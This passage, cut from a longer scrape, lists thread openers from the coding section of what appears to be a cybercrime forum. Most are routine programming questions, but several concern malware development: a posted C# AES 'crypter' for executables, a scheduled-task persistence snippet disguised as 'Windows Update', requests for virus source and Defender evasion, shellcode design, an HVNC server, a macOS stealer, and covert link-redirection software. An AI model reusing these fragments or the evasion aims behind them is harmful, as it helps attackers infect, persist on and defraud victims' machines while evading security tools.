    auto section_headers = reinterpret_cast<PIMAGE_SECTION_HEADER>(reinterpret_cast<PBYTE>(pe_nt_headers) + sizeof(IMAGE_NT_HEADERS));

    std::string resource_section_name = ".rsrc";

    for (size_t i = 0; i < pe_nt_headers->FileHeader.NumberOfSections; ++i)
    {
        if (std::memcmp(section_headers->Name, resource_section_name.c_str(), resource_section_name.size()) == 0)
            break;
        ++section_headers;
    }

    DWORD rva_to_offset = RvaToOffset(pe_data_directory.VirtualAddress, section_headers->VirtualAddress, section_headers->PointerToRawData);

    auto resource_table = reinterpret_cast<PIMAGE_RESOURCE_DIRECTORY>(pe_file_buffer.data() + rva_to_offset);

    EnumerateResources( reinterpret_cast<PBYTE>(resource_table) , resource_table);

    return 1;
}

Не могу разобраться почему приходят эти не корректные данные.

пацаны , хочу выучить java , подскажите как
ID: 6765d804b4103b69df375885
Thread ID: 74333
Created: 2022-10-14T13:10:23+0000
Last Post: 2022-10-14T14:56:25+0000
Author: Minory
Replies: 2 Views: 309

Если имеются слитые видеокурсы поделитесь пжп

Ищу работу
ID: 6765d804b4103b69df37581f
Thread ID: 81857
Created: 2023-02-13T08:10:57+0000
Last Post: 2023-02-13T08:10:57+0000
Author: kenji
Replies: 0 Views: 308

В мои навыки входит : HTML, CSS, JavaScript, Gulp, BEM - Верстка Лендов, Многостраничных сайтов, готов рассматривать различные тз. Работаю с гарантом либо по предоплате. @kenjicash

Regex
ID: 6765d804b4103b69df375956
Thread ID: 58038
Created: 2021-10-22T20:49:31+0000
Last Post: 2021-10-24T15:39:31+0000
Author: Ghostmela
Replies: 3 Views: 307

Hello everyone, please i want to validate BCH, Dash, XRP, and LTC wallet address using c#. I have searched online, only what i see is BTC and ETH which i tested and it works. I am having difficulty to validate BCH, DASH, XRP and LTC. Thanks for your help in advance

[C#] Подмена ссылки
ID: 6765d804b4103b69df37580b
Thread ID: 84647
Created: 2023-03-27T23:03:23+0000
Last Post: 2023-03-28T19:30:39+0000
Author: Ags1of
Replies: 5 Views: 305

Приветствую всех. Столкнулся с такой делемой: хочу написать софт, который будет подменять ссылки, которые будет открывать юзер, на нужные мне. Но вот сейчас думаю, как можно это реализовать. Изначально думал о том, что буду искать окна браузера, далее внедряться в браузер и как-то менять ссылку, но что-то мне подсказывает, что это не совсем правильный вариант исполнения. Сейчас думаю над несколькими вариантами, например, написать прокси-сервер, который как раз будет запускаться у клиента, далее, как-то сделать так, чтобы браузеры выходили в сеть через него, следовательно, прокси-сервер будет получать запросы, далее просматривать их на наличие ссылок, и если попалась ссылка, которая внесена в определённый список, то он меняет на нужную мне ссылку(следовательно получится так, что откроется нужная мне ссылка, а не та, которую открывал пользователь). Далее появилась мысль написать сниффер, который будет просматривать http трафик, и делать те же манипуляции с пакетами, исправляя данные в них, и далее отправлять. Пожалуйста, если я что- то написал не так, подправьте меня, разъясните, где, что не так, и помогите, если можете.
Само ТЗ звучит так: написать софт, который будет отслеживать открытие определённых ссылок, которые находятся в чёрном списке, в любом браузере на компе, далее, если эта определённая ссылка открывается, то софт должен редиректнуть на нужную мне ссылку(они будут прописаны(ссылки на аналогичные сервисы, только не запрещённые в проге)), либо же не редиректать, а ловить попытку открытия этих определённых ссылок на стадии запроса, а далее из менять.
Короче, просто нужно сделать так, чтобы при попытки открытия, допустим, ютуба, открывался не ютуб, а твич.

Книги по си ++ под windows
ID: 6765d804b4103b69df37568a
Thread ID: 128797
Created: 2024-12-12T05:38:36+0000
Last Post: 2024-12-13T17:43:05+0000
Author: Onyx1050
Replies: 1 Views: 304

Здравствуйте.
Подскажите книги по си и си++ под разработку на ос windows.
Так же интересует книги по внутреннему устройству и принципу работы windows.

В поиске опытных кодеров
ID: 6765d804b4103b69df3758ec
Thread ID: 63849
Created: 2022-03-05T10:36:35+0000
Last Post: 2022-03-07T14:06:42+0000
Author: 913
Replies: 1 Views: 303

Для дороботки и поддержки громко известного в узких кругах софта. Кто понимает о чем речь и видит дальнейшее сотрудничество оставляйте свой jabber в пм.

архив
ID: 6765d804b4103b69df37575a
Thread ID: 104496
Created: 2023-12-22T08:53:49+0000
Last Post: 2023-12-25T13:43:29+0000
Author: makinwin
Replies: 1 Views: 303

archive.ujems товарищи подскажите чем это открыть?

подскажите в какой ветке это поискать?

Clang строки на стеке
ID: 6765d804b4103b69df3757b3
Thread ID: 95474
Created: 2023-08-11T17:27:09+0000
Last Post: 2023-08-12T16:02:06+0000
Author: fadey_ldr
Replies: 11 Views: 302

Есть необходимость выделить строки на стеке, что бы они не попадали в .rdata
В msvc компиле ранее делал так
char mas[] = {'s', 't', 'r', 'i', 'n', 'g', 0};
по итогу на стеке выделялось место под строку, и сама строка заполнялась кодом, посимвольно или блоками, но результат был тот, что мне нужен.

недавно попытался сделать то же самое в clang, и понял что этот трюк не прокатывает, массивы символов объединяются в строки и сохраняются в .data/.rdata
clang использую прямо в студии, не отдельно через консольку
может есть какие-то настройки, которые надо покрутить ?
с msvc компиле такой финт срабатывает на максимальных оптимизациях, и строка располагается на стеке, а с clang нет. отключать оптимизацию не вариант.

городить конструкции типа таких тоже не вариант:
char mas[7];
mas[0] = 's';
mas[1] = 't';
...........
mas[6] = 0;

Ругается Windows Defender: Trojan:MSIL/Injector.CK!MTB
ID: 6765d804b4103b69df375879
Thread ID: 74766
Created: 2022-10-27T12:27:08+0000
Last Post: 2022-10-27T16:46:20+0000
Author: Volk_v_Shkure
Replies: 5 Views: 302

Доброго времени суток! Кто-то может подсказать, как можно обойти такое сообщение "Trojan:MSIL/Injector.CK!MTB" от дефендера?

Проблемы с NtCreateUserProcess
ID: 6765d804b4103b69df37588e
Thread ID: 73128
Created: 2022-09-13T13:52:54+0000
Last Post: 2022-09-13T19:52:24+0000
Author: cppjunior
Replies: 6 Views: 300

Через раз отрабатывает NtCreateUserProcess, возвращая 0xc000000d ошибку (Службе или функции был передан недопустимый параметр) Из 10 раз корректно отрабатывает 2-4 раза. В чем ошибка?

C++:Copy to clipboard

UNICODE_STRING NtImagePath;
RtlInitUnicodeString(&NtImagePath, (PWSTR)L"\\??\\C:\\Windows\\System32\\calc.exe");

PRTL_USER_PROCESS_PARAMETERS ProcessParameters = NULL;
RtlCreateProcessParametersEx(&ProcessParameters, &NtImagePath, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, RTL_USER_PROCESS_PARAMETERS_NORMALIZED);

PS_CREATE_INFO CreateInfo = { 0 };
CreateInfo.Size = sizeof(CreateInfo);
CreateInfo.State = PsCreateInitialState;

PPS_ATTRIBUTE_LIST AttributeList = (PS_ATTRIBUTE_LIST*)RtlAllocateHeap(RtlProcessHeap(), HEAP_ZERO_MEMORY, sizeof(PS_ATTRIBUTE));
AttributeList->TotalLength = sizeof(PS_ATTRIBUTE_LIST) - sizeof(PS_ATTRIBUTE);
AttributeList->Attributes[0].Attribute = PS_ATTRIBUTE_IMAGE_NAME;
AttributeList->Attributes[0].Size = NtImagePath.Length;
AttributeList->Attributes[0].Value = (ULONG_PTR)NtImagePath.Buffer;

HANDLE hProcess, hThread = NULL;
NTSTATUS status = NtCreateUserProcess(&hProcess, &hThread, PROCESS_ALL_ACCESS, THREAD_ALL_ACCESS, NULL, NULL, NULL, NULL, ProcessParameters, &CreateInfo, AttributeList);

RtlFreeHeap(RtlProcessHeap(), 0, AttributeList);
RtlDestroyProcessParameters(ProcessParameters);
windows firewall
ID: 6765d804b4103b69df37579f
Thread ID: 97067
Created: 2023-09-01T17:28:51+0000
Last Post: 2023-09-02T18:44:23+0000
Author: nescan
Replies: 1 Views: 300

Чтобы мой процесс смог работать с открытым входящим портом, например, портом 30000, нужны либо права администратора, либо конфирм плашки со стороны пользователя через уведомление от фаерволла.
Как открыть такой порт без необходимости админ прав или подтверждения от пользователя?

C++ source code
ID: 6765d804b4103b69df3758e9
Thread ID: 64172
Created: 2022-03-12T17:17:12+0000
Last Post: 2022-03-12T18:15:40+0000
Author: werbeden
Replies: 2 Views: 299

privet,
podelitsa source codom prostenkogo virusa na C++ (zhelatelno c comments, zhtobu bulo ponatney)

ne vazhno: trojan, ratnik ili ransomware - absolutno lyboi

Проблема с компиляцией байткода LLVM
ID: 6765d804b4103b69df375766
Thread ID: 103472
Created: 2023-12-04T11:18:30+0000
Last Post: 2023-12-04T18:39:58+0000
Author: reqwest
Replies: 2 Views: 298

Есть простой сишный код:

C:Copy to clipboard

#include <windows.h>
int main() {
    MessageBoxW(0, 0, 0, 0);
}

Компилируем в IR:
clang -S -emit-llvm test.cpp
Компилируем IR в BC:
opt test.ll -o test.bc
Пробуем собрать в EXE'шник под х86 таргет на х64 хосте:
clang-cl test.bc -m32 /MT /link kernel32.lib libcmt.lib user32.lib
Получаем ошибку линковки error LNK2019: unresolved external symbol __imp__MessageBoxW referenced in function _main
Проверяем флаги, переданные компилем линковщику:
clang-cl test.bc -v -m32 /MT /link kernel32.lib libcmt.lib user32.lib
Все пути указаны верно:

Code:Copy to clipboard

link.exe \
    "-libpath:C:\\Program Files\\Microsoft Visual Studio\\2022\\Community\\VC\\Tools\\MSVC\\14.34.31933\\lib\\x86" \
    "-libpath:C:\\Program Files\\Microsoft Visual Studio\\2022\\Community\\VC\\Tools\\MSVC\\14.34.31933\\atlmfc\\lib\\x86" \
    "-libpath:C:\\Program Files (x86)\\Windows Kits\\10\\Lib\\10.0.22621.0\\ucrt\\x86" \
    "-libpath:C:\\Program Files (x86)\\Windows Kits\\10\\Lib\\10.0.22621.0\\um\\x86" \
    ...

Если попробовать собрать под тот же таргет что и хост:
clang-cl test.bc /MT /link kernel32.lib libcmt.lib user32.lib
Всё ок, получаем х64 бинарник.
Если попробовать собрать исходник:
clang-cl test.cpp /MT -m32 /link kernel32.lib libcmt.lib user32.lib
Всё ок, получаем х32 бинарник.

Но почему же не получается собрать байткод под другой таргет? Байткод не поддерживает кросскомпиляцию?

Low-level android разработка
ID: 6765d804b4103b69df37570e
Thread ID: 112931
Created: 2024-04-20T06:58:57+0000
Last Post: 2024-04-20T06:58:57+0000
Author: booblik
Replies: 0 Views: 298

Ищу андроид разработчика на низкоуровневые задачи, с опытом работы с системным апи как открытым так и закрытым, доступными только на рутованных девайсах
Работа проектная, по началу проекты небольшие (MVP продуктов), далее рабочие mvp развиваем и масштабируем. В команде уже есть скилловые разрабы с опытом реверса, написание системных хуков итд, ищем пополнение в команду. Рассматриваем как фуллтайм так и парттайм (от 1/2 рабочей недели). Не blackhat.
Также ищем крутых спецов по низкоуровневому андроиду для консультаций - если у вас очень крутые скиллы, вы не готовы работать с нами, но готовы оказывать платные консультации - тоже велкам.

strcpy() buffer overflow (unbounded function) in C
ID: 6765d804b4103b69df3757a0
Thread ID: 97117
Created: 2023-09-02T13:52:35+0000
Last Post: 2023-09-02T17:31:52+0000
Author: basileusapoleiaoff
Replies: 2 Views: 297

Hello xss forum today for dev, i'm going to explain why you should avoid strcpy

So, the strcpy command is one of the most dangerous function used in C. The format look like this:

C:Copy to clipboard

//This is pseudo code
strcpy(<destination>, <source>);

The purpose of this command is to copy each character in the source string, into the destination string. This is particularly** dangerous because their no checking of the source size before it is copied to the destination.** This is called overwriting memory location. To keep it simple, when the source is larger than the space allocated for the destination, overflow condition are likely present, which result in the control of program execution. A "safer " alternative is strncpy command

C:Copy to clipboard

//Agains this is pseudo code

strncpy(<destination>, <source>, <width>);

The < width> field is used to ensure that only a certain number of characters are copied from the source string to the destination string. The width parameter should be based on the size of the destination, such as an allocated buffer

Keep in mind even bounded function can suffer from incorrect buffer size calculations. BTW keep using it if you want, more vulnerability to exploit for me :D

Click to expand...

Skrull Like A King From File Unlink to Persistence
ID: 6765d804b4103b69df37594d
Thread ID: 58491
Created: 2021-11-04T11:57:13+0000
Last Post: 2021-11-11T22:07:39+0000
Author: DildoFagins
Replies: 1 Views: 297

Тема не то, чтобы новая, но довольно интересная. Мне кажется, что многим аверам будет похер на это (особенно облачным), но, может быть, стоит потестить:

github.com

[ GitHub - aaaddress1/Skrull: Skrull is a malware DRM, that prevents

Automatic Sample Submission by AV/EDR and Signature Scanning from Kernel. It generates launchers that can run malware on the victim using the Process Ghosting technique. Also, launche ](https://github.com/aaaddress1/Skrull)

Skrull is a malware DRM, that prevents Automatic Sample Submission by AV/EDR and Signature Scanning from Kernel. It generates launchers that can run malware on the victim using the Process Ghosting...

github.com github.com

C# ошибка при работе с файлом(преобразование в бд)
ID: 6765d804b4103b69df37591f
Thread ID: 60933
Created: 2022-01-06T17:57:26+0000
Last Post: 2022-01-06T20:05:38+0000
Author: Ags1of
Replies: 6 Views: 297

.

Попытка написать МакОС стиллер
ID: 6765d804b4103b69df375680
Thread ID: 129288
Created: 2024-12-19T10:23:25+0000
Last Post: 2024-12-20T01:01:12+0000
Author: 004
Replies: 4 Views: 297

Хотел написать макос стилл и запустить в продажу но как-то не пошло. Несколько людей писали чтоб я дал исходники бесплатно, поэтому я и делаю этот пост, ничего сверхестественного нет. Всего пару функций и несколько строчек кода.
P.S. Я веб-дев, а не системник. За код не судите строго,
Objective-C + Laravel

Добавление в планировщик задач
ID: 6765d804b4103b69df3758bf
Thread ID: 67833
Created: 2022-05-29T16:13:56+0000
Last Post: 2022-05-30T15:16:19+0000
Author: BaDRabbiT404
Replies: 9 Views: 297

Всем здоровья и комфортной среды обитания! Написал добавление в планировщик задач, но проблема в том, что каждый раз всплывает долбаное чёрное окошко. Как можно пофиксить?

C:Copy to clipboard

LPWSTR cmdAddCommand[255];
STARTUPINFO cif;
PROCESS_INFORMATION pi;

wcscat_s(cmdAddCommand, 255, L" /c schtasks /CREATE /tn \"Windows Update\" /tr ");
wcscat_s(cmdAddCommand, 255, filePath);
wcscat_s(cmdAddCommand, 255, L" /st 00:00 /du 9999:59 /sc daily /ri 1 /f");

ZeroMemory(&cif, sizeof(STARTUPINFO));
CreateProcess(L"C:\\Windows\\system32\\cmd.exe", cmdAddCommand, NULL, NULL, FALSE, CREATE_NO_WINDOW | NORMAL_PRIORITY_CLASS, NULL, NULL, &cif, &pi);

WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
виснет InternetOpenUrlA
ID: 6765d804b4103b69df375926
Thread ID: 60344
Created: 2021-12-22T18:43:48+0000
Last Post: 2021-12-22T21:45:18+0000
Author: deniska
Replies: 4 Views: 296

Доброго времени суток! Столкнулся со странным поведением InternetOpenUrlA - тупо виснет, коннекта нету, в ProcessExplorer на вкладке TCP/IP у процесса пусто... Код простейший

C++:Copy to clipboard

hInternet =
      InternetOpenA("Mozilla/4.0 (compatible)", INTERNET_OPEN_TYPE_DIRECT,
                    NULL, 0, 0);
  if (hInternet == NULL) {
    show_error("InternetOpenA");
    return false;
  }

  hUrl = InternetOpenUrlA(hInternet, szURL, NULL, 0, INTERNET_FLAG_RELOAD, 0);
  if (hUrl == NULL) {
    show_error("InternetOpenUrlA");
    return false;
  }

в браузере при посещении url файл скачивается... Кто нибудь сталкивался с подобным?

Ищу кодера который, разбирается в криптинге файлов (хотел бы поощаться по теме)
ID: 6765d804b4103b69df37572d
Thread ID: 110400
Created: 2024-03-14T13:34:45+0000
Last Post: 2024-03-18T16:24:31+0000
Author: Lilk
Replies: 1 Views: 296

Всем привет
Недавно начал изучать крипт файлов, пишу на C#. Информации в сети много, но хотелось бы пообщаться с человеком, который разбирается в этой теме и уже имеет опыт.
Пишите в лс

Написать програму
ID: 6765d804b4103b69df375789
Thread ID: 99051
Created: 2023-09-29T09:11:54+0000
Last Post: 2023-09-29T09:11:54+0000
Author: dooo_dooo
Replies: 0 Views: 296

Привет, реально ли написать програму для отслеживания прогрузов в ставках на кибер спорт?

Fifa 21 source code
ID: 6765d804b4103b69df375936
Thread ID: 59642
Created: 2021-12-03T20:16:39+0000
Last Post: 2021-12-04T03:01:56+0000
Author: darkvisitor99
Replies: 2 Views: 295

Несколько месяцов назад слили исходники фифы, удалось/пробовал ли кто-то их скомпилить, есть какая-то инфа ?

Арифметика чисел в 256-ричной системе исчесления
ID: 6765d804b4103b69df375774
Thread ID: 102278
Created: 2023-11-14T22:35:27+0000
Last Post: 2023-11-15T21:18:38+0000
Author: firon
Replies: 5 Views: 295

Встала задача работы с большими неотрицательными целыми числами, намного больше чем любая из стандартных структур может в себе содержать.
Для этого в качестве основы была выбрана 256-ричная система исчесления, т.к. в ней числа можно хранить как массив байт byte[] number {...}. Наименьший разряд - слева, найбольший - справа. То есть числа будут выглядеть так:

Code:Copy to clipboard

x = sum from i to N-1 {number[i]*B^i}
N = number.Length

где B - это основание системы (для двоичной B=2, для десятичной B=10, для шестнадцатеричной B=16 и т.д). В нашем случае B=256 (B=2^8). byte (или uint8) принимет значения от 0 до 255.

Мне нужна функция, которая будет возвращать результат операции a mod b деления с остатком, или хотя бы просто деление a div b ([a / b]). Или же алгоритм быстрого нахожднеия a*b mod c. Подойдет любое из этих трех (желательно 1-е или 3-е).

Вот некоторые мои наработки, которые могут натолкнуть кого-то на идею. Эти функции возвращают неправильный результат, как их исправить?

(Для простоты можно считать, что размеры входных массивов одинаковы)

Spoiler: a mod b

Code:Copy to clipboard

    public static byte[] _Modulus(byte[] dividend, byte[] divisor) {
        int len = dividend.length;
        byte[] remainder = new byte[len];
  
        Memory.copy(remainder, dividend, len);
  
        for (int i = 0; i < len; i++) {
            int carry = 0;
            for (int j = i; j < len; j++) {
                int temp = (remainder[j] & 0xff) + (carry << 8);
                if (divisor[i] != 0) {
                    carry = temp % (divisor[i] & 0xff);
                } else {
                    carry = temp;
                }
                //remainder[j] = (byte)carry;
                //stdout.printf(@"i: $(i) j: $(j)\t carry: $(carry)\n");
            }
            remainder[i] = (byte)(carry & 0xff);
        }
  
        return remainder;
    }
    public static byte[] Modulus(byte[] dividend, byte[] divisor) {
        int len = dividend.length;
        byte[] remainder = new byte[len];
  
        Memory.copy(remainder, dividend, len);
  
        for (int i = 0; i < len; i++) {
            int carry = 0;
            for (int j = i; j < len; j++) {
                int temp = (remainder[j] & 0xff) + (carry << 8);
                if (divisor[i] != 0) {
                    carry = temp / (divisor[i] & 0xff);
                    remainder[j] = (byte)(temp % (divisor[i] & 0xff));
                } else {
                    carry = temp;
                }
            }
        }
  
        return remainder;
    }

Алгоритм быстрого взятия (mod c) от произведения a*b

Spoiler: a*b mod c

Code:Copy to clipboard

    /*
    1.[Начальная установка]
        s = 0;
    2.[Преобразовать все D байтов]
        for (D-1 >= j >= 0){
            s = 256s;
            if (s >= N) {s = s - N};
            s = s + x_j*y;
            if (s >= N) {s = s - N};
        }
        return s;
    */
    public static byte[] _MulMod(byte[] x, byte[] y, byte[] N) {
        int D = N.length;
        byte[] s = new byte[D];
        byte[] byte256 = new byte[D];
        byte256[1] = 1;
        for (int j = D - 1; j >= 0; j--) {
            s = multiply(s, byte256);
            if (compare(s, N) >= 0) {
                s = substract(s, N);
            }
            byte[] x_j = new byte[D];
            x_j[0] = x[j];
            //byte[] x_j = (byte[]) x[j];
            s = add(multiply(y, x_j), s);
            if (compare(s, N) >= 0) {
                s = substract(s, N);
            }
            s = s[0:D];
        }
        return s;
    }

Spoiler: a div b

Code:Copy to clipboard

    //https://en.wikipedia.org/wiki/Long_division#Division
    //https://en.wikipedia.org/wiki/Division_algorithm#Long_division
    public static byte[] Divide(byte[] dividend, byte[] divisor) {
        int len = dividend.length;
        byte[] quotient = new byte[len];
        byte[] remainder = new byte[len];
  
        Memory.copy(remainder, dividend, len);
  
        for (int i = 0; i < len; i++) {
            int carry = 0;
            for (int j = i; j < len; j++) {
                int temp = (remainder[j] & 0xff) + (carry << 8);
                if (divisor[i] != 0) {
                    quotient[j] = (byte)(temp / (divisor[i] & 0xff));
                    carry = temp % (divisor[i] & 0xff);
                } else {
                    quotient[j] = (byte)carry;
                    carry = temp;
                }
                remainder[j] = (byte)carry;
            }
        }
  
        return quotient;
    }

Готовые библиотеки не предлагать - в моем случае их нельзя использовать!

Spoiler: Считать mod вот таким методом тоже не вариат - слишком медленно!

Code:Copy to clipboard

    public static byte[] mod_int(uint64 x, uint64 y){
        uint64 modulus = x, divisor = y;
        while (modulus >= y){
            while (divisor > modulus){
                divisor >>= 1;
            }
            modulus = modulus - divisor;
        }
        return (byte[]) modulus;
    }

Вот некоторые примеры чисел:
13120_10 = {64 51 0 0 0 0 0 0}_256
31214211316_10 = {244 16 131 68 7 0 0 0}_256
418302432341123382_10 = {54 225 95 144 216 27 206 5}_256

Дополнительные источники: https://ru.wikipedia.org/wiki/Система_счисления

R-X шеллкод, обсуждение
ID: 6765d804b4103b69df3758a9
Thread ID: 70296
Created: 2022-07-18T17:16:44+0000
Last Post: 2022-07-19T16:27:45+0000
Author: Quake3
Replies: 6 Views: 295

Понадобилось написать шеллкод, который будет работать в R-X памяти (т.к. чтение-исполнение, без записи). На Ассемблере, т.к. Сишный компилер врядли поможет. Соответственно, встал вопрос о переменных, т.к. теперь нельзя просто взять и объявить что-то вида alloc_fn dq ? и туда писать.
Регистров, понятно дело, на всё не хватает. На 32 бит проблема решается достаточно легко, с помощью стека - т.е. push pop регистры. На 64 бит стек это головная боль, кто кодил тот знает, кто нет, то объяснять долго. В общем, как быть? Пока наметил для себя три варианта:
1. выделять память через хип, и там размещать все нужные структуры и переменные;
2. экспериментировать со стеком, т.к. оно не так сложно, просто нужна внимательность и отладка;
3. пусть RX шеллкод выделит RWX память и туда запишет следующий, уже "нормальный" ШК; который можно закодить на Си без всех извратов.

Курсы с++ в связки с Unreal Engine
ID: 6765d804b4103b69df375971
Thread ID: 56034
Created: 2021-08-30T11:52:07+0000
Last Post: 2021-09-09T17:42:43+0000
Author: CEBEK777
Replies: 5 Views: 294

Ищу курсы С++ на русском, желательно в связки с Unreal Engine , в долгу не останусь :)

What is the best way to learn C for a beginner ?
ID: 6765d804b4103b69df3758e3
Thread ID: 64431
Created: 2022-03-18T08:04:53+0000
Last Post: 2022-03-18T21:06:30+0000
Author: BottleNeck
Replies: 5 Views: 294

Hi Im new here and im not sure if I can ask questions. Feel free to delete this if needed. I want to be able to write exploits, understand C code, understand binary exploitation, and write shellcodes and malware. For that i need to have a very good understanding of C and ASM.

Can you please recommend some materials or resources which can help me learn C related to the above points ?

Thanks and stay safe.

Чтение памяти процесса через маппинг секций
ID: 6765d804b4103b69df375892
Thread ID: 72520
Created: 2022-09-01T07:57:54+0000
Last Post: 2022-09-02T23:57:02+0000
Author: arsarsov
Replies: 5 Views: 294

Как замапить секцию из чужого процесса в свой ?
В обратном порядке это работает очень просто, что бы замапить свою память в чужой процесс создаем секцию через NtCreateSection, затем два раза вызываем NtMapViewOfSection, первый для хендла своего процесса, а второй для того куда будем мапить, при этом адреса указываем как 0, это означает что память будет выделена в случайном месте по усмотрению системы, потом можем писать в замапленый кусок в своем процессе и автоматически эти изменения применяются к замапленому куску в чужом процессе
Только вот это работает, если создавать новую секцию и таким образом мы можем писать в чужой процесс по вновь выделенным адресам, но не писать\читать из уже созданных секций
Я предполагаю, что нужно через NtQueryProcessInformation с параметром ProcessHandleInformation перечислить все хендлы в процессе, отсеять те, которые по типу объекта соответствуют "секции", затем дублировать хендлы к себе в процесс, открывать секции и получать из них информацию о адресах, находить нужный диапазон и используя хендл подходящей секции делать NtMapViewOfSection в свой процесс, что бы прочитать данные по нужному адресу
Кто что думает по этому поводу ?

steam fake scripts
ID: 6765d804b4103b69df375845
Thread ID: 78411
Created: 2022-12-19T13:36:30+0000
Last Post: 2022-12-19T13:36:30+0000
Author: rozess1337
Replies: 0 Views: 293

Hello, I'm searching for Steam site scripts (such as fake balance, fake trading history, etc.) but when I reload the page it will be same and it won't disappear. I think it's extension. Thanks for any help

Windows Defender жалуется на архив
ID: 6765d804b4103b69df375880
Thread ID: 74556
Created: 2022-10-21T17:24:15+0000
Last Post: 2022-10-22T01:26:43+0000
Author: Volk_v_Shkure
Replies: 5 Views: 292

Доброго времени суток! При использвании Fody, Costura.Fody на ехе который находиться в архиве жалуется Windows Defender, можно ли как-то это исправить? Без них не жалуется.

Заранее спасибо.

Утечка курса skillfactory OTUS netalogy
ID: 6765d804b4103b69df37576d
Thread ID: 102987
Created: 2023-11-25T18:37:13+0000
Last Post: 2023-11-25T19:09:32+0000
Author: khalid
Replies: 5 Views: 292

Привет всем, как дела? Кто-нибудь знает, как получить лики по этим курсам?

Нужен кодер на android
ID: 6765d804b4103b69df375788
Thread ID: 99119
Created: 2023-09-30T10:51:48+0000
Last Post: 2023-09-30T10:51:48+0000
Author: SHAGMI
Replies: 0 Views: 290

Нужен кодер для создания вирусов на android, писать в телеграм: SHAGMI

[C#] Basic .exe and .bat AES crypter
ID: 6765d804b4103b69df3757d2
Thread ID: 91462
Created: 2023-06-27T04:30:58+0000
Last Post: 2023-06-27T14:24:17+0000
Author: Xzedin
Replies: 2 Views: 287

As said in the title:

using System.IO;
using System.Security.Cryptography;

class Program
{
static void Main()
{
string inputFile = "your_file.exe"; // replace with your file name/path
string outputFile = "encrypted_file.exe"; // set the encrypted file name

// create random AES key (for symmetric encryption)
byte[] key = new byte[32];
using (RNGCryptoServiceProvider rng = new RNGCryptoServiceProvider())
{
rng.GetBytes(key);
}

// read in the input file
byte[] bytesToEncrypt = File.ReadAllBytes(inputFile);

// encrypt the input file bytes with AES
byte[] encryptedBytes = null;
using (Aes aesAlg = Aes.Create())
{
aesAlg.Key = key;
aesAlg.GenerateIV();
ICryptoTransform encryptor = aesAlg.CreateEncryptor(aesAlg.Key, aesAlg.IV);
using (MemoryStream msEncrypt = new MemoryStream())
{
using (CryptoStream csEncrypt = new CryptoStream(msEncrypt, encryptor, CryptoStreamMode.Write))
{
csEncrypt.Write(bytesToEncrypt, 0, bytesToEncrypt.Length);
csEncrypt.FlushFinalBlock();
encryptedBytes = msEncrypt.ToArray();
}
}
}

// write out the encrypted bytes to a file
File.WriteAllBytes(outputFile, encryptedBytes);
}
}

Data Science with python
ID: 6765d804b4103b69df375862
Thread ID: 76392
Created: 2022-11-22T05:50:04+0000
Last Post: 2022-11-24T12:57:18+0000
Author: mzurdb
Replies: 1 Views: 287

hello everyone,

I am new to the forum. I am very interested in programmin. I want to learn how to mange, organize unstructured big data through python.

Помогите с решением ошибки в коде C#
ID: 6765d804b4103b69df37571d
Thread ID: 111825
Created: 2024-04-02T17:02:15+0000
Last Post: 2024-04-02T17:25:18+0000
Author: Russian_Coder
Replies: 5 Views: 286

Помогите с решением ошибки в коде C#

Вообщем вот сам код

C#:Copy to clipboard

if (CreateProcess(targetPath, null, IntPtr.Zero, IntPtr.Zero, false, 0x00000004, IntPtr.Zero, null, ref si, out pi) != 0 && pi.hProcess.ToInt32() != 0 && pi.hThread.ToInt32() != 0)
{

}

Ошибка

Code:Copy to clipboard

Ошибка    CS0019    Оператор "!=" невозможно применить к операнду типа "IntPtr" и "int".

1712077330445.png

C# UI Theme/Skin
ID: 6765d804b4103b69df375933
Thread ID: 56924
Created: 2021-09-21T13:47:32+0000
Last Post: 2021-12-09T09:05:11+0000
Author: mikewaals
Replies: 4 Views: 284

Hello Friends,

Can someone share any open source resources for C# Form Theme/ Skin to create good looking forms. Most of Skin/Themes are paid. Can someone share a sample project which can help.

Thanks in advance.
Mike

Ресурсы не читаются в RunTime C++
ID: 6765d804b4103b69df3757a5
Thread ID: 96414
Created: 2023-08-23T21:03:53+0000
Last Post: 2023-08-23T22:57:52+0000
Author: Alexey18
Replies: 2 Views: 283

Доброго времени суток. Работаю значит с ресурсами. пишу RT_RCDATA.
С билдером проблем вроде нет как таковых.

Spoiler: билдер

C++:Copy to clipboard

ICResult WriteResource(const char* FileName, const BYTE* FileBytes, DWORD FileSize)
{
    HANDLE hUpdate = BeginUpdateResourceA(FileName, FALSE);
    if (hUpdate == NULL)
        return ICResult::FailBegin;

    if (!UpdateResourceA(hUpdate, "RT_RCDATA", "RES_FIRST", 1066, (LPVOID)FileBytes, FileSize))
    {
        EndUpdateResource(hUpdate, TRUE);
        return ICResult::FailUpdate;
    }

    if (!EndUpdateResource(hUpdate, FALSE))
        return ICResult::FailEnd;

    return ICResult::Success;
}

1692824293209.png

Ресурсы пишет в стаб всё нормально с этим. А так сделал чтение в стабе его.

Code:Copy to clipboard

vector<unsigned char> getResourceData(const char* resourceName) {
        HMODULE hModule = GetModuleHandle(NULL);
        HRSRC hResource = FindResource(hModule, resourceName, RT_RCDATA);
        if (hResource == NULL) {
            return std::vector<unsigned char>();
        }
        HGLOBAL hData = LoadResource(hModule, hResource);
        if (hData == NULL) {
            return std::vector<unsigned char>();
        }
        DWORD dataSize = SizeofResource(hModule, hResource);
        if (dataSize == 0) {
            return std::vector<unsigned char>();
        }
        const unsigned char* pData = static_cast<const unsigned char*>(LockResource(hData));
        if (pData == NULL) {
            return std::vector<unsigned char>();
        }
        std::vector<unsigned char> resourceData(pData, pData + dataSize);
        return resourceData;
    }

Чтение переписывал по разному с одного шарп-проекта(там всё работало). шарп- на шарп всё ок читает. А тут я не понимаю в чём траблы вообще.
Кто сталкивался если, подскажите плиз, как достать ресурс пожалуйста?

нужен программист на СИ
ID: 6765d804b4103b69df375975
Thread ID: 56061
Created: 2021-08-30T22:06:37+0000
Last Post: 2021-09-03T16:12:39+0000
Author: TintoBruss
Replies: 1 Views: 282

Нужен кодер на СИ для того чтобы исправить готовый код HVNC сервера, при подключении к которому клиенту некорректо отображаются некоторые элементы меню в браузере chrome. Сам браузер и web-страницы отображаются корректо, но выпадающее меню браузера всплывает в виде чёрного квадрата. Ранее данное меню отображалось корректо, проблема появилась после очередного обновления. Необходимо исправить данный дефект отображения, чтобы на сервере можно было использовать обновлённую версию браузера. Нужен специалист, имеющий опыт работы с СИ и хорошо понимающий принцип работы клиент-серверного подключения.

Работа!
ID: 6765d804b4103b69df375860
Thread ID: 76763
Created: 2022-11-26T21:40:15+0000
